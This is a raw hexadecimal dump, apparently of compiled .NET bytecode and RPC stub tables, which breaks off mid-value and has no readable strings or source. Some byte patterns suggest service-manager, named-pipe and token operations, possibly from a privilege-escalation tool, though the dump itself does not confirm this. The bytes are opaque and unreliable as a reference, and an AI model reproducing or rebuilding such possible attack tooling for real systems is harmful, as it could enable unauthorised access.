00000A280900000A72AE6B007006281700000A6F0A00000ADE6D26280900000A72D46B007006281700000A6F0A00000ADE5526280900000A723A6C007006281700000A6F0A00000ADE3D0D280900000A729C6C007006281700000A6F0A00000A280900000A096F1600000A6F0A00000ADE15280900000A72FC6C007006281700000A6F0A00000A2A0000014C0000000012002E40001B66000001000012002E5B001B67000001000012002E76002B2C0000010000AC0028D40018660000010000AC0028EC0018670000010000AC00280401282C0000016A280900000A72586D007028A800000A281C00000A6F0A00000A2A720228A900000A280900000A72986D007002281C00000A6F0A00000A2A133005004B00000020000011160A20A00F0000026FAA00000A0659311A280900000A0206026FAA00000A06596FAB00000A6F0A00000A2A280900000A020620A00F00006FAB00000A6F0A00000A0620A00F0000580A2BB7001B3003009E00000021000011280900000A72D26D00706F0A00000A02283C00000A0A06285E000006DE7026280900000A72D86D007002281700000A6F0A00000ADE5826280900000A72106E007002281700000A6F0A00000ADE4026280900000A72626E007002281700000A6F0A00000ADE280B280900000A72AA6E007002281700000A6F0A00000A280900000A076F1600000A6F0A00000ADE00280900000A72006F00706F0A00000A2A00000134000000000F000F1E00186800000100000F000F3600186900000100000F000F4E00186700000100000F000F6600282C000001133004008700000022000011280900000A720A6F0070168D01000001286900000A6F0A00000A284300000A0A280900000A72326F007072506F007072646F0070282A00000A6F0A00000A060C160D2B2D08099A0B280900000A72326F0070076F2700000A8C34000001076F2500000A282A00000A6F0A00000A0917580D09088E6932CD280900000A72006F00706F0A00000A2A00133002001D0000000F000011734600000A0A06026F4700000A06036F4700000A066FAC00000A0B072A000000133002002500000023000011020C160D2B1508099A0A06036F3300000A2C04170BDE0C160BDE0809088E6932E5172A072A0000001B300600BC0300002400001128AD00000A0A140B140C166A0D1A13041F0913050272D404007028AE00000A2C02020A0628AF00000A0B0628B000000A0C280900000A727C6F00700672CE620070287000000A6F0A00000ADE6326280900000A72AE6F007006281700000A6F0A00000ADD5303000026280900000A72FA6F007006281700000A6F0A00000ADD380300001306280900000A725670007006281700000A6F0A00000A280900000A11066F1600000A6F0A00000ADD0B0300000708286100000613071107280100002B11072D1B280900000A72BC7000700672E2700070287000000A6F0A00000A2A0713111613122B41111111129A13081108739D00000A28B200000A1309110909310311090D1104120328B300000A6FAA00000A2F0E120328B300000A6FAA00000A1304111217581312111211118E6932B7110713131613142B58111311149A130A110A28B400000AD014000001289800000A6FB500000A6F1600000A6FAA00000A11053122110A28B400000AD014000001289800000A6FB500000A6F1600000A6FAA00000A1305DE0326DE00111417581314111411138E6932A0280900000A1B8D2B000001131511151672F8700070A21115171F2011051B5973B600000AA21115187238710070A21115191F2011041A5973B600000AA211151A7248710070A21115287F00000A6F0A00000A280900000A1B8D2B0000011316111616726A710070A21116171F3D110573B600000AA211161872A0710070A21116191F3D110473B600000AA211161A72A8710070A21116287F00000A6F0A00000A11071317161318386B010000111711189A130B110B289E00000A130C110B28B700000A130D72CA710070110D8C13000001281C00000A130E110B28B400000AD014000001289800000A6FB500000A6F1600000A130FDE0A2672F0710070130FDE0007110B28620000063996000000110B739D00000A28B200000A1310280900000A1F098D010000011319111916110EA21119177204720070A2111918110FA21119191F201105110F6F1600000A6FAA00000A5973B600000AA211191A72A0710070A211191B11108C6A000001A211191C1F201104121028B300000A6FAA00000A5973B600000AA211191D72A0710070A211191E110CA21119286700000A6F0A00000A2B6D280900000A1E8D2B000001131A111A16110EA2111A17721E720070A2111A18110FA2111A191F201105110F6F1600000A6FAA00000A5973B600000AA2111A1A72A0710070A2111A1B1F2E110473B600000AA2111A1C72A0710070A2111A1D110CA2111A287F00000A6F0A00000A111817581318111811178E693F8AFEFFFF2A01400000000023002A4D001B6E000001000023002A68001B66000001000023002A83002D2C000001000040014888010301000001000071021F90020A010000011B3002002F00000025000011160A140B73B800000A0B07026FB900000A0C086FBA00000A16FE010ADE0326DE00DE0A072C06076F5800000ADC062A00011C0000000004001A1E000372000001020004001F23000A00000000D20228640000062C16280900000A723872007002281700000A6F0A00000A2A280900000A726872007002281700000A6F0A00000A2A000000133007006C0100002600001128BB00000A0A280900000A729C7200706F0A00000A280900000A72047300706F0A00000A066FBC00000A0D16130438980000000911049A0B280900000A1D8D010000011305110516076FBD00000AA2110517721D0C0070A2110518076FBE00000A8C34000001A21105191F201F16076FBD00000A6F1600000A6FAA00000A076FBE00000A13061206283B00000A6FAA00000A585973B600000AA211051A726C730070A211051B1F201F1073B600000AA211051C727C730070A21105286700000A6F0A00000A1104175813041104098E693F5EFFFFFF066FBF00000A13071613082B7E110711089A0C280900000A1B8D010000011309110916086FC000000AA21109171F201F17086FC000000A6F1600000A6FAA00000A5973B600000AA2110918086FC100000AA21109191F201F17086FC100000A6F1600000A6FAA00000A5973B600000AA211091A7290730070A21109286700000A6F0A00000A110817581308110811078E693F77FFFFFF2A1E02280B00000A2A1E02280B00000A2A4A027B210200047E2200000A286E000006262A00133009008405000027000011141313730C01000613141200FE1526000002286E00000A1315121572A8730070286F00000A0B111472AC73007007281C00000A2003000040161F0A20000800002000080000161200286D0000067D2102000411147B210200047E2200000A288D00000A3902050000280900000A72E0730070721874007011147B210200048C32000001282A00000A6F0A00000A73040100060C1203FE15630000027E2200000A130408723A74007028C200000A281C00000A1204141203166F060100062611047E2200000A288D00000A398D040000081104200001000016724674007028C200000A07282A00000A166F08010006153B4E040000280900000A72E0730070726474007011048C32000001282A00000A6F0A00000A11132D0F1114FE060D01000673C300000A1313111373C400000A130511056FC500000A110520881300006FC600000A39E4030000280900000A72C07400706F0A00000A735F00000A130611147B210200047E2200000A7E2200000A7E2200000A7E2200000A110611066FC700000A286F00000626280900000A72FA74007028C800000A281700000A6F0A00000A280900000A722875007011066F1600000A281700000A6F0A00000A11147B2102000428700000063945030000280900000A726C7500706F0A00000A7E2200000A1307286C00000620FF010F006A161207287100000639FD020000280900000A72E073007072BC75007011078C32000001282A00000A6F0A00000A7E2200000A1308110720FF010F006A1618171208287200000639A5020000280900000A72E073007072DC75007011088C32000001282A00000A6F0A00000A7E2200000A1107286A000006395A020000280900000A72FE7500706F0A00000A1209FE15260000027E2200000A130A7E2200000A130B7E2200000A130C7E2200000A130D1209D026000002289800000A289900000A7DA40000041209177DA600000412097E2200000A7DA5000004120A120B12091628750000062C29280900000A7236760070728E760070110A8C32000001110B8C32000001282900000A6F0A00000A2B0F280900000A72B27600706F0A00000A120C120D12091628750000062C29280900000A72EA7600707242770070110C8C32000001110D8C32000001282900000A6F0A00000A2B0F280900000A72667700706F0A00000A110A1716287600000626110C1716287600000626120EFE1527000002120FFE1528000002120E110E8C27000002286C00000A7DA7000004120E729F6500707DA9000004120E110B7DB7000004120E110D7DB8000004120E257BB20000042000010000607DB2000004110816020320000000087E2200000A28A800000A120E120F287800000639CD000000280900000A729E77007072DE770070120F7BBB0000048C34000001282A00000A6F0A00000A110B286B00000626110D286B0000062620021000008D2A00000113101613112B2A11118D2A0000011312111011121111287B00000A280900000A287C00000A11126F7D00000A6F0A00000A110A1110200210000012117E2200000A28770000062DBF110C286B00000626110A286B00000626110B286B00000626110D286B000006261108286B000006261107286B000006261104286B0000062611147B21020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1104286B0000062611147B21020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A11147B21020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1E02280B00000A2A4A027B220200047E2200000A286E000006262A0013300900A205000028000011141314730E01000613151200FE1526000002286E00000A1316121672A8730070286F00000A0B111572AC73007007281C00000A2003000040161F0A20000800002000080000161200286D0000067D2202000411157B220200047E2200000A288D00000A3920050000280900000A72E0730070721874007011157B220200048C32000001282A00000A6F0A00000A73040100060C1203FE15630000027E2200000A130408723A74007028C200000A281C00000A1204141203166F060100062611047E2200000A288D00000A39AB040000081104200001000016724674007028C200000A07282A00000A166F08010006153B6C040000280900000A72E0730070726474007011048C32000001282A00000A6F0A00000A11142D0F1115FE060F01000673C300000A1314111473C400000A130511056FC500000A110520881300006FC600000A3902040000280900000A72C07400706F0A00000A735F00000A130611157B220200047E2200000A7E2200000A7E2200000A7E2200000A110611066FC700000A286F00000626280900000A72FA74007028C800000A281700000A6F0A00000A280900000A722875007011066F1600000A281700000A6F0A00000A11157B2202000428700000063963030000280900000A726C7500706F0A00000A7E2200000A1307286C00000620FF010F006A1612072871000006391B030000280900000A72E073007072BC75007011078C32000001282A00000A6F0A00000A7E2200000A1308110720FF010F006A1618171208287200000639C3020000280900000A72E073007072DC75007011088C32000001282A00000A6F0A00000A7E2200000A1107286A0000063978020000280900000A72FE7500706F0A00000A1209FE15260000027E2200000A130A7E2200000A130B7E2200000A130C7E2200000A130D1209D026000002289800000A289900000A7DA40000041209177DA600000412097E2200000A7DA5000004120A120B12091628750000062C29280900000A7236760070728E760070110A8C32000001110B8C32000001282900000A6F0A00000A2B0F280900000A72B27600706F0A00000A120C120D12091628750000062C29280900000A72EA7600707242770070110C8C32000001110D8C32000001282900000A6F0A00000A2B0F280900000A72667700706F0A00000A110A1716287600000626110C1716287600000626120EFE1527000002120FFE1528000002120E110E8C27000002286C00000A7DA7000004120E729F6500707DA9000004120E110B7DB7000004120E110D7DB8000004120E257BB20000042000010000607DB200000428C900000A720E780070281700000A26722078007002281700000A131011081614111020000000087E2200000A28A800000A120E120F287800000639CD000000280900000A729E77007072DE770070120F7BBB0000048C34000001282A00000A6F0A00000A110B286B00000626110D286B0000062620021000008D2A00000113111613122B2A11128D2A0000011313111111131112287B00000A280900000A287C00000A11136F7D00000A6F0A00000A110A1111200210000012127E2200000A28770000062DBF110C286B00000626110A286B00000626110B286B00000626110D286B000006261108286B000006261107286B000006261104286B0000062611157B22020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1104286B0000062611157B22020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A11157B22020004286B000006262A280900000A286D00000A737300000A6F2100000A6F0A00000A2A1E02280B00000A2A0000133006005A000000290000117E2200000A0A026FCC00000A0B07285C00000A2C02030B7230780070026FCD00000A727278007007285B00000A28CE00000A026FCD00000A07026FCF00000A1F09161200287A0000060C082D0673D000000A7A0673D100000A2A0000133003000C0000002A000011140A0203120028800000062A13300700710000002B000011140A160B735F00000A0C086FC700000A0D16130503020612010812031204287D0000062C08061673D200000A2A286D00000A130511051F7A2E09110520EC030000332C07E08D2A0000010A08096FD300000A2616130514020612010812031204287D0000062C08061673D200000A2A142A0000001B300700570100002C000011735F00000A0A066FC700000A0B735F00000A0C086FC700000A0D1413050414510273D500000A1305DE5513061B8D2B000001130A110A167288780070A2110A1711066F2100000AA2110A187292780070A2110A1902A2110A1A72C4780070A2110A287F00000A28CE00000A11066FD600000A28CE00000A021309DDD500000011056FD700000A8D2A000001130711051107166FD800000A1613080311070612010812031204287C0000062D39286D00000A130811081F7A332C06076FD300000A2608096FD300000A261613080311070612010812031204287C0000062D07286D00000A130811082D2504086F1600000A510450285C00000A2C07066F1600000A2A0872206700700628D900000A2A1C8D01000001130B110B1672D4780070A2110B1711088C34000001A2110B1872E2780070A2110B1902A2110B1A7208790070A2110B1B03A2110B286700000A28CE00000A022A11092A0001100000000020000A2A00552C0000011B300500180100002D0000111200FE152B0000021201FE152F000002120002289A0000067E2200000A0C1200120120000800001202288A0000060D092C1D72127900701203724C68007028DB00000A281700000A28CE00000A142A1204FE152B000002120403289A0000060817178D2B000002130A110A168F2B0000021104812B000002110A1205120628900000060D092C2072347900701203724C68007028DB00000A281700000A28CE00000A141309DE6E1105D035000002289800000A28DC00000AA535000002130712077B0001000416312D12077B01010004D030000002289800000A28DC00000AA530000002130812087BF200000473DD00000A1309DE1FDE111105288D000006261106288D00000626DCDE0808288B00000626DC142A11092A011C00000200A70051F800110000000002004F00BC0B0108000000001B300500830000002E0000117E2200000A0A0272587900701616120028930000060B072C3B1A8D010000011304110416727C790070A211041702A2110418729C790070A2110419078C35000001A21104286700000A28CE00000A7EDE00000A2A06D03A000002289800000A28DC00000AA53A0000020C12027B2401000428DF00000A0DDE0806288900000626DC092A00011000000200540025790008000000001B300600800000002F0000117E2200000A0B20100200400C032C08082000001000600C042C040817600C72D4040070027E2200000A72D404007008120128920000060D092D2707D038000002289800000A28DC00000AA5380000020A12007B08010004186FE000000A1304DE1C09737300000A7A077E2200000A288D00000A2C0707288900000626DC11042A011000000200060062680015000000001E02280B00000A2AAE02036FAA00000A185AD17DD100000402027BD10000041858D17DD20000040203288600000A7DD30000042A5E027BD3000004288E00000A027E2200000A7DD30000042A8A027BD10000042D067EE100000A2A027BD3000004027BD1000004185B28E200000A2A5A02037DE800000402047DE900000402057DEA0000042A1E027BE80000042A1E02280B00000A2A1E02280B00000A2A1E027B7B0100042A2202037D7B0100042A0013300600300100003100001102047D6D01000402057D6E010004020E047D7501000402027B6D01000419288700000A7D6F0100041200030E050E0628AF0000061201FE15420000020202FE06A700000673BA0000067D760100040214FE06A800000673BE0000067D770100041201027B76010004289000000A7D7E0100041201027B77010004289000000A7D7F010004021203FE15410000021203157D7C0100041203157D7D010004098C4100000219288700000A7D7201000402068C4500000219288700000A7D73010004020519288700000A7D7001000402078C4200000219288700000A7D740100041202027C70010004288800000A027C73010004288800000A027B78010004289000000A027B79010004289000000A027C74010004288800000A28B100000602088C4600000219288700000A7D710100042A033001004300000000000000027C6F010004288A00000A027C72010004288A00000A027C73010004288A00000A027C70010004288A00000A027C74010004288A00000A027C71010004288A00000A2A0013300100090000001800001102289100000A0A062A1E02288E00000A2A00000013300700BD0100003200001103289200000A0A7E2200000A0B7E2200000A0C72B27900700672CA620070027B75010004285B00000A28CE00000A1472D867007006027B7501000414120128DB0000060D092C2172CA7900701203724C680070289300000A281700000A28CE00000A7E2200000A2A07289200000A120228CC0000060D120128DA00000626092C2172267A00701203724C680070289300000A281700000A28CE00000A7E2200000A2A0228A100000639C70000001204FE1554000002120472D40400707DC2010004120412047BC20100046FAA00000A185A7DC3010004120472D40400707DC4010004120412047BC40100046FAA00000A185A7DC5010004120472D40400707DC60100041204187DC80100041205FE15550000021205177DC90100041205197DCC01000411058C5500000219288700000A13060806161F09120416120528DC0000060D1206288A00000A092C28728A7A00701203724C680070289300000A281700000A28CE00000A030828A80000067E2200000A2A081F0C027B7A01000428DF0000060D092C1B72E67A00701203724C680070289300000A281700000A28CE00000A723A7B0070088C32000001724269007028D900000A28CE00000A082A00000013300200200000002A00001102289200000A0A72627B007006281700000A28CE00000A0F0128DA000006262A36027B6D01000403289600000A2A32027C71010004288800000A2A001B3003002E0000001A0000110419288700000A0A0228AA000006020328A90000061200288800000A28D70000060BDE081200288A00000ADC072A000001100000020008001C24000800000000DA0214FE06A500000673B20000067D780100040214FE06A600000673B60000067D790100040220881300007D7A01000402280B00000A2A3E02037D8001000402047D810100042A00133002003D000000330000111200FE15430000021200177D800100041200167D810100040680820100041201FE15430000021201187D800100041201167D810100040780830100042A000000133004009C0000003400001102D045000002289800000A289900000A7D86010004021200FE15440000021200037D840100041200040573AD0000067D85010004067D87010004021201FE154400000212017E8F0100047D8401000412017E830100047D85010004077D88010004027E2200000A7D8901000402167D8A010004027E2200000A7D8B010004027E2200000A7D8C010004027E2200000A7D8D01000402167D8E0100042A03300B002E0000000000000020045D888A20EB1C000020C9110000209F00000020E80000001E161F2B1F101F481F60739A00000A808F0100042A000003300200C80000000000000002037D9801000402047D90010004027E2200000A7D9D01000402057D91010004020E047D92010004027E2200000A7D93010004027E2200000A7D94010004020E057D95010004027E2200000A7D96010004027E2200000A7D9701000402177D990100040220020005007D9A010004027E2200000A7D9B0100040220530200087D9C010004027E2200000A7D9E010004027E2200000A7D9F0100040217737100000A7DA0010004027E2200000A7DA1010004027E2200000A7DA2010004027E2200000A7DA30100042A1330070054000000350000110228AC000006120072787B0070288300000A288400000A1E331A02067EA50100047EA7010004726E670070161628A30000062B1802067EA40100047EA6010004726E670070161628A3000006021728A20000062A0B30010010000000000000000228A4000006DE0702288500000ADC2A011000000200000008080007000000001B3006004D0100003600001103288600000A0A1201FE154C000002057E2200000A81320000017E2200000A0C057E2200000A8132000001288400000A1E33210228AA0000060220C200000028A9000006061201040528CF0000060C38A90000001203FE1532000001098C3200000119288700000A13041204288800000A1305078C4C00000219288700000A13061206288800000A13070220B60000001A8D3200000113091109168F320000010681320000011109178F32000001110781320000011109188F3200000104737100000A81320000011109198F3200000111058132000001110928AB0000060C051105288900000A8132000001DE0F1204288A00000A1206288A00000ADCDE2C2672C27B0070288B00000A130A120A724C680070289300000A281700000A28CE00000A288B00000A1308DE1FDE14067E2200000A288D00000A2C0606288E00000ADC1202288F00000A692A11082A000000414C0000020000008A00000064000000EE0000000F000000000000000000000020000000DF000000FF0000002C0000005C00000102000000200000000D0100002D01000014000000000000001B300400B0000000370000117E2200000A0A288400000A1E33160228AA000006021628A90000060328CD0000060A2B520371320000010B078C3200000119288700000A0C1202288800000A0D0216178D3200000113051105168F32000001098132000001110528AB0000060A0309288900000A8132000001DE081202288A00000ADCDE2C2672F47B0070288B00000A13061206724C680070289300000A281700000A28CE00000A288B00000A1304DE091200288F00000A692A11042A011C0000020040002E6E000800000000000006007278002C5C0000011B300500EC000000380000117E2200000A0A7E2200000A0B288400000A1E331D0228AA00000602200001000028A90000060304120128D00000060A2B757E2200000A0C088C3200000119288700000A0D1203288800000A13040220F2000000198D3200000113061106168F320000010381320000011106178F32000001046E739400000A81320000011106188F3200000111048132000001110628AB0000060A1104288900000A0BDE081203288A00000ADC05020728C700000651DE2F26051451721C7C0070288B00000A13071207724C680070289300000A281700000A28CE00000A288B00000A1305DE091200288F00000A692A11052A011C000002004D00519E00080000000000000600ABB1002F5C00000113300400A800000039000011037E2200000A287200000A2C02142A03D04D000002289800000A28DC00000AA54D0000020A739F0000060B0712007BB001000412007BAE010004185B28E200000A7D5C0100040712007BB101000473DD00000A7D5D01000412007BB00100047E2200000A288D00000A2C1612007BAF01000416310C12007BB001000428A600000612007BB10100047E2200000A288D00000A2C0C12007BB101000428A60000060328A6000006072A1B300800080200003A00001173E600000A0A7E2200000A0B0514510E0516547E2200000A0C1203FE1551000002098C5100000219288700000A13041204288800000A13050611046FE700000A02040628C90000061306288400000A1E33270228AA00000602200A02000028A9000006031106120211050E040E0528D10000060B38F500000011068C4E00000219288700000A13071207288800000A13087E2200000A130911098C3200000119288700000A130A120A288800000A130B7E2200000A130C110C8C3200000119288700000A130D120D288800000A130E0220EC0100001C8D3200000113111111168F320000010381320000011111178F32000001110881320000011111188F32000001110B81320000011111198F320000011105813200000111111A8F320000010E046E739400000A813200000111111B8F32000001110E8132000001111128AB0000060B110B288900000A0C0E05110E28E800000A54DE161207288A00000A120A288A00000A120D288A00000ADC077E2200000A287200000A2D12072007010000737100000A287200000A2C0B050208110528CA00000651DE2C2672667C0070288B00000A13121212724C680070289300000A281700000A28CE00000A288B00000A1310DE3FDE34066FE900000A13132B10121328EA00000A130F120F288A00000A121328EB00000A2DE7DE0E1213FE160600001B6F2000000ADCDC1201288F00000A692A11102A4164000002000000CF000000890000005801000016000000000000000000000013000000870100009A0100002C0000005C00000102000000D00100001D000000ED0100000E000000000000000200000013000000B5010000C8010000340000000000000013300300860000003B0000111200FE154E0000021200038E697DB2010004038E698D320000010B160C2B4003089A6FD700000A8D2A0000010D03089A09166FD800000A0919288700000A13040411046FE700000A07088F320000011204288800000A81320000010817580C08038E6932BA0719288700000A13050411056FE700000A12001205288800000A7DB3010004062A0000133005007C0200003C000011037E2200000A287200000A2D0D047E2200000A287200000A2C02142A03D04F000002289800000A28DC00000AA54F0000020A04D051000002289800000A28DC00000AA5510000020BD052000002289800000A289900000A0CD050000002289800000A289900000A0D12007BB4010004E08D2B000001130412007BB4010004E08D12000001130516130638BC00000012007CB5010004288F00000A096A11066E5A58739400000AD050000002289800000A28DC00000AA550000002130712077BB90100047E2200000A288D00000A2C1B11041106E012077BB901000412077BB7010004185B28E200000AA211051106E012077BBA01000473DD00000AA212077BB90100047E2200000A288D00000A2C1612077BB801000416310C12077BB901000428A600000612077BBA0100047E2200000A288D00000A2C0C12077BBA01000428A6000006110617581306110612007BB40100044436FFFFFF12017BBB010004E08D3F000002130816130938DE00000012017CBC010004288F00000A086A11096E5A58739400000AD052000002289800000A28DC00000AA552000002130A11081109E073A0000006A2120A7BC00100047E2200000A288D00000A2C2011081109E09A120A7BC0010004120A7BBE010004185B28E200000A7D6B01000411081109E09A120A7BBD01000428EC00000A7D6C01000411081109E09A1104120A7BC1010004E09A7D6901000411081109E09A1105120A7BC1010004E09A7D6A010004120A7BC00100047E2200000A288D00000A2C16120A7BBF01000416310C120A7BC001000428A6000006110917581309110912017BBB0100044414FFFFFF12007BB501000428A600000612017BBC01000428A60000060328A600000611082A0048000000000000080030E000000000380040004402080100000000000018010000060070000400080000480000000001000400320000000000000040000801000000000000004800000000020004003200000000000000400008010000000000000048000000000300040032000000000000004000080100000000000000480000000004000400320000000000000040000801000000000000004800000000050004003200000000000000400008010000000000000048000000000600140031040000005C22004000460508050000010000000A0000000A000B010400C00048000800080010010C00FA00700010000800004800000000070010003040000000002A0008004504080301000000000008000000FE00480004000D0013200800020170000C00080000480000000008000400320000000000000040000801000000000000004800000000090004003200000000000000400008010000000000000048000000000A0004003200000000000000400008010000000000000048000000000B0004003200000000000000400008010000000000000048000000000C0004003200000000000000400008010000000000000048000000000D0004003200000000000000400008010000000000000048000000000E0004003200000000000000400008010000000000000048000000000F001C00304000000000460024004707080701000100000008000000FE000B010400F802132008000A031B010C008603480010000D00580114000800700018000800000000000048000000000000100030E0000000003800400044020A01000000000000000018010000060070000800080000480000000001000800320000000000000040000A01000000000000000000480000000002000800320000000000000040000A01000000000000000000480000000003000800320000000000000040000A01000000000000000000480000000004000800320000000000000040000A01000000000000000000480000000005000800320000000000000040000A0100000000000000000048000000000600280031080000005C2200400046050A0500000100000000000A0000000A000B010800A60048001000080010011800CC00700020000800004800000000070020003040000000002A00080045040A03010000000000000008000000D000480008000D0013201000D40070001800080000480000000008000800320000000000000040000A01000000000000000000480000000009000800320000000000000040000A0100000000000000000048000000000A000800320000000000000040000A0100000000000000000048000000000B000800320000000000000040000A0100000000000000000048000000000C000800320000000000000040000A0100000000000000000048000000000D000800320000000000000040000A0100000000000000000048000000000E000800320000000000000040000A0100000000000000000048000000000F0038003040000000004600240047070A07010001000000000008000000D0000B01080074021320100088021B0118000003480020000D005801280008007000300008000000000000001104020030E100001208055C1100B0001C000100170002000100170000000100025B160308004B5C465C040004001200E0FF5B0606085C5B1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1B000100005900000000025B17010400F0FF0202065B160314004B5C465C040004001200CEFF465C080008001200C4FF465C0C000C001200D4FF465C100010001200CAFF5B020206080808085C5B1A030C0000000000080D02023E5B160318004B5C465C040004001208025C465C0800080012004CFF465C10001000120098FF465C140014001200C6FF5B0808080808085B1104020030A000003041000011140200120002002B0D260004000100020030000D70010000005200020000007A00030000009A0005000000940004000000AE0006000000BE0007000000D40009000000F0000A000000F8000B000000F8000C0000001E010D00000018010E0000005E00FFFF150708000B5B1A0728000000000008084C00EEFF02434C00E8FF08405C5BB70800000000E80300001B030400190008000000085B1A030C0000000A00023F364C00DDFF5B1200E2FF1C010200175502000100175500000100055B16030C004B5C465C040004001200E0FF465C0800080012007CFE5B060608085B160308004B5C465C040004001200C0FF5B0606085C5B1A010400000000000D5B1C01020017550A000100175508000100055B160310004B5C465C0400040012008EFF465C0C000C001200D6FF5B0606080606085B150710004C002CFF4C0028FF5C5B15000100025B1500020002025C5B1D000800015B150310000806064C00F1FF5B1C010200175512000100175510000100055B16032C004B5C465C0400040012002CFF465C0C000C00120074FF465C140014001200CCFF465C280028001200B4FD5B0606080606080606084C00A8FF085B11004200B7080000000000500000160304004B5C465C00000000120086FD5B085C5B1B0304001900000001004B5C484904000000010000000000120066FD5B4C00CDFF5B1A030800000008004C00B6FF365B1200CEFF1114020012002C001B030C001900000001004B5C48490C000000020004000400120084FE08000800120022FD5B4C0089FE5B16030C004B5C465C040004001200C8FF5B0808085C5B11003200B70800000000005000001A031000000000000D4C0077FE085C5B21030000190000000100FFFFFFFF00004C00DEFF5C5B1A030800000008004C00C6FF365B1200DAFF1108085C0000000000001104020030E100001208055C110096001C000100170002000100170000000100025B1A03100000000800060640365C5B1200DEFF1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1B000100005900000000025B17010400F0FF0202065B1A03280000000C0002020640363636365C5B1200C8FF1200C4FF1200DAFF1200D6FF1A030C0000000000080D02023E5B1A03300000000C0008403636084036365C5B1208025C120066FF1200B4FF1200D2FF1104020030A000003041000011140200120002002B0D260008000100020048000D70010000005200020000007A0003000000AE0005000000BA0004000000C60006000000CE0007000000D20009000000DE000A000000E6000B000000E6000C000000FA000D000000F4000E0000008400FFFF150708000B5B1A0728000000000008084C00EEFF02434C00E8FF08405C5BB70800000000E80300001B030400190010000000085B1A03180000000C000243364C00DDFF405C5B1200E0FF1C010200175502000100175500000100055B1A03100000000800060640365C5B1200DEFF1A031800000008004C00E4FF365B12009AFE1A031800000008004C00D2FF365B120088FE1A031000000000004C00C0FF5C5B1A010400000000000D5B1A032000000000004C00A8FF4C00A4FF5C5B150710004C003EFF4C003AFF5C5B15000100025B1500020002025C5B1D000800015B150310000806064C00F1FF5B1A034800000014004C0068FF4C0064FF4C0060FF4C00DEFF365B120012FE11003000B70800000000005000001A03080000000400365B1200F6FD21030000190000000100FFFFFFFF00004C00E0FF5C5B1A03100000000A004C00C8FF40365C5B1200D8FF1114020012002A001A031800000008004C00FCFE365B1200B2FD21030000190000000100FFFFFFFF00004C00DCFF5C5B1A0318000000080008403608405B1200DAFF11003400B70800000000005000001A032000000000000D404C00B2FE08405C5B21030000190000000100FFFFFFFF00004C00DCFF5C5B1A03100000000A004C00C4FF40365C5B1200D8FF1108085C0000000003300300690000000000000020350200008D2A00000125D011020004289700000A80A401000420550200008D2A00000125D012020004289700000A80A5010004209D0300008D2A00000125D013020004289700000A80A601000420190300008D2A00000125D014020004289700000A80A70100042A1E02280B00000A2A1E02280B00000A2A0000001330070054000000350000110228AC000006120072987C0070288300000A288400000A1E331A02067EDD0100047EDF01000472E27C0070171628A30000062B1802067EDC0100047EDE01000472E27C0070171628A3000006020328A20000062A0B30010010000000000000000228A4000006DE0702288500000ADC2A011000000200000008080007000000001B300500E90000003D0000117E2200000A0A05145103288600000A0B1202FE1559000002288400000A1E33190228AA000006021628A90000060704120228CE0000060A2B79088C5900000219288700000A0D1203288800000A13040216198D3200000113061106168F320000010781320000011106178F3200000104737100000A81320000011106188F3200000111048132000001110628AB0000060A1104D059000002289800000A28DC00000AA5590000020CDE081203288A00000ADCDE0A26288B00000A1305DE28DE14077E2200000A288D00000A2C0607288E00000ADC05020828E7000006511200288F00000A692A11052A0000000128000002004F005BAA000800000000000018009CB4000A5C00000102001800A8C000140000000013300300520100003E00001173ED00000A0AD05A000002289800000A289900000A0B160C381A0100000F017CE1010004288F00000A07085A6A58739400000AD05A000002289800000A28DC00000AA55A0000020D73E3000006130412037BE30100047E2200000A288D00000A2C1F110412037BE3010004289200000A7DCE01000412037BE301000428A600000612037BE20100047E2200000A288D00000A2C1F110412037BE2010004289200000A7DCD01000412037BE201000428A6000006110412037BE40100047DCF010004110412037BE50100047DD0010004110412037BE70100047DD2010004110412037BE60100047DD1010004110412037BE90100047DD401000412037BE80100047E2200000A288D00000A2C1F110412037BE801000473DD00000A7DD301000412037BE801000428A60000060611046FEE00000A0817580C080F017BE00100043FD9FEFFFF0F017BE101000428A6000006062A00000048000000002800100031040000005C08000800470408030100000000000B000000020048000400080013210800AA0070000C00080000000048000000002800200031080000005C0800080047040A0301000000000000000B0000000200480008000800134110007C00700018000800000000000000000000001208255C1104A2001D000800015B150310000806064C00F1FF5B1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B16032C004B5C465C000000001208255C465C040004001208255C465C180018001200D0FF5B080808080808084C009CFF5C5B1B032C001900000001004B5C48492C0000000300000000001208255C040004001208255C18001800120096FF5B4C009FFF5B160308004B5C465C040004001200C0FF5B08085B000000001208255C110474001D000800015B150310000806064C00F1FF5B1D000600015B150006004C00F4FF5C5B1B0304000400F9FF0100085B17030800F0FF02024C00E0FF5C5B1A03380000000E00363608080808364C00B9FF5B1208255C1208255C1200D4FF21030000190000000100FFFFFFFF00004C00CEFF5C5B1A031000000006000840365B1200DCFF000000000330030063000000000000001F378D2A00000125D015020004289700000A80DC0100041F398D2A00000125D016020004289700000A80DD01000420BF0000008D2A00000125D017020004289700000A80DE010004208D0000008D2A00000125D018020004289700000A80DF0100042A1E027BED0100042A2202037DED0100042A1E027BEE0100042A2202037DEE0100042A1E027BEF0100042A2202037DEF0100042A5602280B00000A020328EC000006020428EA0000062A5602160328F10000062C02172A02170328F10000062A6E032D0902030428F30000062A0317330902030428F20000062A162A00001B300600DA0100003F00001172007D007028CE00000A160A7E2200000A0C73C20000060D090228ED0000067D7A010004090228EB000006200108000012026FC40000060B072C1772327D0070078C34000001287A00000A28CE00000A162A09081B12046FC60000060B072C1D72527D0070078C34000001287A00000A28CE00000A16130DDD5A01000020F40100001305161306161307380D010000728A7D0070110625175813068C34000001287A00000A28CE00000A20E80300008D1200000113081